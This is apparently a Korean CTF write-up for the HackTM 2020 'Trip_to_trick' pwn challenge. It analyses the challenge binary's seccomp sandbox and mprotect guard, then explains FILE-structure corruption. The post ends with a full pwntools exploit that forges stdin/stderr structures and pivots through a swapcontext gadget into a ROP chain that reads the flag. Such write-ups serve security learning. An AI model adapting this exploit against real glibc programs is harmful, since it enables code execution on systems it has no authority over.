본문 바로가기

PWN

HackTM CTF 2020 / Trip_to_trick

 GLIBC : 2.29

checksec :

 

file descriptor에 관한 문제이다. main 함수의 흐름은 다음과 같다.

 

  1. sandbox and nohack
  2. setbuf stdin stdout stderr
  3. leak system's address
  4. two chance of AAW
  5. close stdin stdout stderr
int __cdecl main(int argc, const char **argv, const char **envp)
{
  _QWORD *ptr; // [rsp+18h] [rbp-18h]
  __int64 value; // [rsp+20h] [rbp-10h]
  unsigned __int64 v6; // [rsp+28h] [rbp-8h]

  v6 = __readfsqword(0x28u);
  value = 0LL;
  sandbox();
  nohack();
  main_init();
  printf("gift : %p\n", &system, argv);
  printf("1 : ");
  __isoc99_scanf((__int64)"%llx %llx", (__int64)&ptr, (__int64)&value);
  *ptr = value;
  printf("2 : ", &ptr);
  __isoc99_scanf((__int64)"%llx %llx", (__int64)&ptr, (__int64)&value);
  *ptr = value;
  fclose(stdout);                               
  fclose(stdin);
  fclose(stderr);
  return 0;
}

nohack 함수에서는 stdout+0x8a0에서부터 0x700만큼 mprotect를 이용하여 쓰기 권한을 없앤다. 주소가 _IO_buf_base < stdout+0x8a0 < stdin's vtable이기 때문에, 나중에 익스플로잇할 때 stdin의 vtable에 바로 값을 쓸 수 없게한다.

int nohack()
{
  if ( ((_WORD)stdout + 0x8A0) & 0xFFF )
  {
    puts("mprotect error");
    exit(1);
  }
  return mprotect(&stdout[10]._IO_write_end, 0x700uLL, 1);// what?
}

 

 

stdout +0x8a0

sandbox 함수에서는 seccomp를 설정한다. seccomp-tools로 쉽게 해석할 수 있다. 

__int64 sandbox()
{
  __int64 v1; // [rsp+8h] [rbp-8h]

  v1 = seccomp_init(0LL);
  if ( !v1 )
  {
    puts("seccomp error");
    exit(0);
  }
  seccomp_rule_add(v1, 0x7FFF0000LL, 15LL, 0LL);
  seccomp_rule_add(v1, 0x7FFF0000LL, 3LL, 0LL);
  seccomp_rule_add(v1, 0x7FFF0000LL, 10LL, 0LL);
  seccomp_rule_add(v1, 0x7FFF0000LL, 9LL, 0LL);
  seccomp_rule_add(v1, 0x7FFF0000LL, 12LL, 0LL);
  seccomp_rule_add(v1, 0x7FFF0000LL, 2LL, 0LL);
  seccomp_rule_add(v1, 0x7FFF0000LL, 0LL, 0LL);
  seccomp_rule_add(v1, 0x7FFF0000LL, 1LL, 0LL);
  seccomp_rule_add(v1, 0x7FFF0000LL, 60LL, 0LL);
  seccomp_rule_add(v1, 0x7FFF0000LL, 231LL, 0LL);
  if ( (signed int)seccomp_load(v1) < 0 )
  {
    seccomp_release(v1);
    puts("seccomp error");
    exit(0);
  }
  return seccomp_release(v1);
}

 

line  CODE  JT   JF      K
=================================
 0000: 0x20 0x00 0x00 0x00000004  A = arch
 0001: 0x15 0x00 0x0e 0xc000003e  if (A != ARCH_X86_64) goto 0016
 0002: 0x20 0x00 0x00 0x00000000  A = sys_number
 0003: 0x35 0x00 0x01 0x40000000  if (A < 0x40000000) goto 0005
 0004: 0x15 0x00 0x0b 0xffffffff  if (A != 0xffffffff) goto 0016
 0005: 0x15 0x09 0x00 0x00000000  if (A == read) goto 0015
 0006: 0x15 0x08 0x00 0x00000001  if (A == write) goto 0015
 0007: 0x15 0x07 0x00 0x00000002  if (A == open) goto 0015
 0008: 0x15 0x06 0x00 0x00000003  if (A == close) goto 0015
 0009: 0x15 0x05 0x00 0x00000009  if (A == mmap) goto 0015
 0010: 0x15 0x04 0x00 0x0000000a  if (A == mprotect) goto 0015
 0011: 0x15 0x03 0x00 0x0000000c  if (A == brk) goto 0015
 0012: 0x15 0x02 0x00 0x0000000f  if (A == rt_sigreturn) goto 0015
 0013: 0x15 0x01 0x00 0x0000003c  if (A == exit) goto 0015
 0014: 0x15 0x00 0x01 0x000000e7  if (A != exit_group) goto 0016
 0015: 0x06 0x00 0x00 0x7fff0000  return ALLOW
 0016: 0x06 0x00 0x00 0x00000000  return KILL

해석해보면 우리에게 허용된 syscall 은 다음과 같다. open, read, write가 허용되어 있으니 ROP를 통해 flag를 읽어올 수 있다. (flag 위치는 주어졌었다.)

 

  • read 
  • open
  • write
  • close
  • mmap
  • mprotect
  • brk
  • rt_sigreturn
  • exit
  • exit_group

 

 

main_init에서는 setbuf를 해준다. buffer underrun 문제 때문에 pwnable 문제에서 거의 다 해주는 기능이다. 다만 여기서는 setbuf가 exploit에 중요한 요소로 작용한다. 우선 setvbuf를 하면 stdin 구조체에 어떠한 변화가 생기는지 보자.

int main_init()
{
  setvbuf(stdin, 0LL, 2, 0LL);
  setvbuf(stdout, 0LL, 2, 0LL);
  return setvbuf(stderr, 0LL, 2, 0LL);
}

GNU의 base64의 stdin 구조체이다. 당연히 base64에서는 setvbuf를 하지 않는다. _IO_read_ptr, _IO_buf_end 등의 값들이 heap 영역을 가리키고 있는 것을 볼 수 있다. 

base64's stdin

 

이제 setvbuf를 한 후의 stdin 구조체를 보자. 아까전까지는 heap 영역을 가리키고 있던 값들이 libc의 stdin 구조체의 한 부분을 가리키고 있는 것을 볼 수 있다. (왜 그런지는 setvbuf의 소스코드를 봐야할 것 같다.) 

 

 

여기서 _IO_buf_base와 _IO_buf_end은 scanf에서 임시버퍼에 값을 읽어들이기 위해서 사용된다. 따라서 첫번째 scanf에서 _IO_buf_end에 _IO_buf_base+0x2000을 적는다면 두번째 scanf에서는 _IO_buf_base부터 0x2000만큼의 값을 쓸 수 있다. 이때 (원래의 값들을 채워넣으면서) 이상한 값으로 바꿔도 에러가 뜨지 않는 영역을 손퍼징하면서 ROP 체인을 적고, stdin의 vtable pointer를 stack pivot함수의 주소 적힌 곳으로 바꾼다면 ROP를 할 수 있다. 

 

 

다만 glibc가 업데이트 되면서 vtable pointer에 대한 체크로직이 생겼다. 체크로직과 이를 우회하는 방법에 대한 설명은 아래 링크에 자세히 설명되어 있다.

https://dhavalkapil.com/blogs/FILE-Structure-Exploitation/

 

 

fake stack의 길이가 충분하지 않아서 syscall을 이용해서 rop를 했다. stdout이 close되어서 stderr로 flag를 출력하였다.

'''
0x0007751c: mov rdx, r15 ; mov rsi, r8 ; mov rdi, rbx ; call qword [rcx+0x38] ;

crash at :call   QWORD PTR [r15+0x38]

gdb-peda$ x/32i 0x561c8
   0x561c8 <swapcontext+168>:   mov    rsp,QWORD PTR [rdx+0xa0]
   0x561cf <swapcontext+175>:   mov    rbx,QWORD PTR [rdx+0x80]
   0x561d6 <swapcontext+182>:   mov    rbp,QWORD PTR [rdx+0x78]
   0x561da <swapcontext+186>:   mov    r12,QWORD PTR [rdx+0x48]
   0x561de <swapcontext+190>:   mov    r13,QWORD PTR [rdx+0x50]
   0x561e2 <swapcontext+194>:   mov    r14,QWORD PTR [rdx+0x58]
   0x561e6 <swapcontext+198>:   mov    r15,QWORD PTR [rdx+0x60]
   0x561ea <swapcontext+202>:   mov    rcx,QWORD PTR [rdx+0xa8]
   0x561f1 <swapcontext+209>:   push   rcx
   0x561f2 <swapcontext+210>:   mov    rdi,QWORD PTR [rdx+0x68]
   0x561f6 <swapcontext+214>:   mov    rsi,QWORD PTR [rdx+0x70]
   0x561fa <swapcontext+218>:   mov    rcx,QWORD PTR [rdx+0x98]
   0x56201 <swapcontext+225>:   mov    r8,QWORD PTR [rdx+0x28]
   0x56205 <swapcontext+229>:   mov    r9,QWORD PTR [rdx+0x30]
   0x56209 <swapcontext+233>:   mov    rdx,QWORD PTR [rdx+0x88]
   0x56210 <swapcontext+240>:   xor    eax,eax
   0x56212 <swapcontext+242>:   ret    
'''


from pwn import *
p=process('trip')
gdb.attach(p,"b __isoc99_scanf")
p.recvuntil('gift : ')
leak=p.recvuntil('fd0')
leak=int(leak,16)
base=leak-0x52fd0
buf_end=base+0x1e4a40
buf=0x1e4a83+base
hook=base+0x1e75a8
rdi=p64(base+0x0015bbba)
rsi=p64(base+0x0015a62d)
rdx=p64(base+0x0012bda6)
read=p64(0x10cf70+base)
ret=p64(0x0019674d+base)
write=p64(base+0x10d010)
syscall=p64(base+0x000cf6c5)
log.info('syscall = '+hex(base+0x000cf6c5))
rax=p64(0x00047eb1+base)
open_=p64(base+0x10cc80) 
data=p64(base+0x1e4800)
rop =rdi+p64(0)+rsi+data+rdx+p64(0x20)+rax+p64(0)+syscall
rop+=rax+p64(2)+rdi+data+rsi+p64(0)+syscall#come here
#rop+=p64(0xdeadbeef)
rop+=rdi+p64(1)+rsi+data+rax+p64(0)+syscall
rop+=rdi+p64(2)+rsi+data+rax+p64(1)+syscall
rop+=p64(0xdeadbeefdeadbeef)



log.info('system = '+hex(leak))
log.info('libc = '+hex(base))
log.info('buf_end ptr = '+hex(buf_end))
log.info('buf_base value = '+hex(buf))#IO_buf overwrite
log.info("gadet = "+hex(base+0x561c8))
payload = "q"*5+p64(base+0x1e7590)+p64(0xffffffffffffffff)+p64(0)
payload+= p64(base+0x1e4ae0)+p64(0)*3+p64(0x00000000ffffffff)+p64(0)*2
payload+= p64(base+0x1e5a20) #fake table _IO_helper_jumps???
#payload+= p64(base+0x1e6560) #vtables
payload+=p64(0)*0x26
payload+=payload.ljust(0xadd-0x190,'\xde')+'aaa'#0x1e4d9d
payload+=p64(0x1e1580+base)+p64(0x1e1ac0+base)+'a'*(0x50)
payload+=p64(base+0x1e2300)+p64(0x19a3e0+base)+p64(0x1994e0+base)+p64(base+0x199ae0)
payload+=p64(base+0x1b1678)*13+p64(0)*3+p64(base+0x1e5680)+p64(0)*3
payload+=p64(0x00000000fbad2087)#stderr start
payload+=p64(0x1e5703+base)*7+p64(0x1e5704+base)+p64(0)*4+p64(0x1e5760+base)+p64(2)+p64(0xffffffffffffffff)
payload+=p64(0)+p64(base+0x1e7570)+p64(0xffffffffffffffff)
payload+=p64(0)+p64(base+0x1e4780)+p64(0)*6+p64(base+0x1e5a20)
payload+=p64(0x00000000fbad2887)+p64(base+0x1e57e3)*7+p64(base+0x1e57e4)+p64(0)*4
payload+=p64(0x1e4a00+base)+p64(1)+p64(0xffffffffffffffff)+p64(0)+p64(base+0x1e7580)
payload+=p64(0xffffffffffffffff)+p64(0)+p64(0x1e48c0+base)+p64(0)*3+p64(0x00000000ffffffff)+p64(0)*2+p64(base+0x1e6560)
#payload+=p64(0xdeadbeef)
payload+=p64(base+0x1e5680)
payload+=p64(base+0x1e5760)
payload+=p64(base+0x1e4a00) #stderr, stdout, stdin
payload+="a"*(0x8)
payload+=rop
payload+='b'*(8*0x34-len(rop))#rop chain
payload+=p64(base+0x1e5960-0x100)#set rsp
payload+=ret
payload+=p64(0xdeaddeadbeefbeef)#ret -> jump
payload+=p64(0xdeadbeef)*(2)#set context
payload+=p64(base+0x561c8)*0x10
p.sendline(hex(buf_end)+' '+hex(buf+len(payload)))
p.send(payload)
#_IO_helper_jumps
__import__('time').sleep(1)
p.send('/home/jjy/flag\x00')
p.interactive()


지금 생각하니 _IO_buf_base에 값을 적는게 더 간단하게 exploit될 것 같다. IO_buf_base앞에 got로 보이는 것들이 있다.

'PWN' 카테고리의 다른 글

peda, pwndbg, gef 같이 쓰기  (0) 2020.03.08
HSCTF / hard_heap  (0) 2020.02.19
[CISCN 2017] BabyDriver  (0) 2020.02.04
2019 defcon/ babyheap  (0) 2020.01.04
calloc without memset 0  (0) 2019.12.30